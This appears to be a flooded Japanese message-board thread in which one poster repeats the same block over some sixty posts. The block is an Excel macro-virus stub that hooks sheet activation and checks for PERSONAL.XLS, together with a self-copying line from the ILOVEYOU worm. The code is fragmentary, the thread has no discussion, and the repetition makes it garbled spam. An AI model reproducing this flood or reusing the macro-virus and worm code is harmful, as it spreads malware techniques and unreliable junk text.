c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

907 番組の途中ですが名無しです :2012/01/31(火) 22:27:55 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

908 番組の途中ですが名無しです :2012/01/31(火) 22:28:27 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

909 番組の途中ですが名無しです :2012/01/31(火) 22:28:58 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

910 番組の途中ですが名無しです :2012/01/31(火) 22:29:29 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

911 番組の途中ですが名無しです :2012/01/31(火) 22:30:00 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

912 番組の途中ですが名無しです :2012/01/31(火) 22:30:31 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

913 番組の途中ですが名無しです :2012/01/31(火) 22:31:03 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

914 番組の途中ですが名無しです :2012/01/31(火) 22:31:35 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

915 番組の途中ですが名無しです :2012/01/31(火) 22:32:06 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

916 番組の途中ですが名無しです :2012/01/31(火) 22:32:38 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

917 番組の途中ですが名無しです :2012/01/31(火) 22:33:09 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

918 番組の途中ですが名無しです :2012/01/31(火) 22:33:41 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

919 番組の途中ですが名無しです :2012/01/31(火) 22:34:13 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

920 番組の途中ですが名無しです :2012/01/31(火) 22:34:44 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

921 番組の途中ですが名無しです :2012/01/31(火) 22:35:15 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

922 番組の途中ですが名無しです :2012/01/31(火) 22:35:47 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

923 番組の途中ですが名無しです :2012/01/31(火) 22:36:18 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

924 番組の途中ですが名無しです :2012/01/31(火) 22:36:49 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

925 番組の途中ですが名無しです :2012/01/31(火) 22:37:20 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

926 番組の途中ですが名無しです :2012/01/31(火) 22:37:51 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

927 番組の途中ですが名無しです :2012/01/31(火) 22:38:23 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

928 番組の途中ですが名無しです :2012/01/31(火) 22:38:54 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

929 番組の途中ですが名無しです :2012/01/31(火) 22:39:25 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

930 番組の途中ですが名無しです :2012/01/31(火) 22:39:56 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

931 番組の途中ですが名無しです :2012/01/31(火) 22:40:27 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

932 番組の途中ですが名無しです :2012/01/31(火) 22:40:59 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

933 番組の途中ですが名無しです :2012/01/31(火) 22:41:30 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

934 番組の途中ですが名無しです :2012/01/31(火) 22:42:01 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

935 番組の途中ですが名無しです :2012/01/31(火) 22:42:34 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

936 番組の途中ですが名無しです :2012/01/31(火) 22:43:05 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

937 番組の途中ですが名無しです :2012/01/31(火) 22:43:36 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

938 番組の途中ですが名無しです :2012/01/31(火) 22:44:07 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

939 番組の途中ですが名無しです :2012/01/31(火) 22:44:38 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

940 番組の途中ですが名無しです :2012/01/31(火) 22:45:09 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

941 番組の途中ですが名無しです :2012/01/31(火) 22:45:42 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

942 番組の途中ですが名無しです :2012/01/31(火) 22:46:13 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

943 番組の途中ですが名無しです :2012/01/31(火) 22:46:46 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

944 番組の途中ですが名無しです :2012/01/31(火) 22:47:16 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

945 番組の途中ですが名無しです :2012/01/31(火) 22:47:47 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

946 番組の途中ですが名無しです :2012/01/31(火) 22:48:18 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

947 番組の途中ですが名無しです :2012/01/31(火) 22:48:48 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

948 番組の途中ですが名無しです :2012/01/31(火) 22:49:19 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

949 番組の途中ですが名無しです :2012/01/31(火) 22:49:51 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

950 番組の途中ですが名無しです :2012/01/31(火) 22:50:22 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

951 番組の途中ですが名無しです :2012/01/31(火) 22:50:55 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

952 番組の途中ですが名無しです :2012/01/31(火) 22:51:26 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

953 番組の途中ですが名無しです :2012/01/31(火) 22:51:57 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

954 番組の途中ですが名無しです :2012/01/31(火) 22:52:28 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

955 番組の途中ですが名無しです :2012/01/31(火) 22:52:59 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

956 番組の途中ですが名無しです :2012/01/31(火) 22:53:31 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

957 番組の途中ですが名無しです :2012/01/31(火) 22:54:02 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

958 番組の途中ですが名無しです :2012/01/31(火) 22:54:33 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

959 番組の途中ですが名無しです :2012/01/31(火) 22:55:04 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

960 番組の途中ですが名無しです :2012/01/31(火) 22:55:35 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

961 番組の途中ですが名無しです :2012/01/31(火) 22:56:06 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

962 番組の途中ですが名無しです :2012/01/31(火) 22:56:53 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

963 番組の途中ですが名無しです :2012/01/31(火) 22:57:29 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

964 番組の途中ですが名無しです :2012/01/31(火) 22:58:00 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

965 番組の途中ですが名無しです :2012/01/31(火) 22:58:31 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

966 番組の途中ですが名無しです :2012/01/31(火) 22:59:02 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

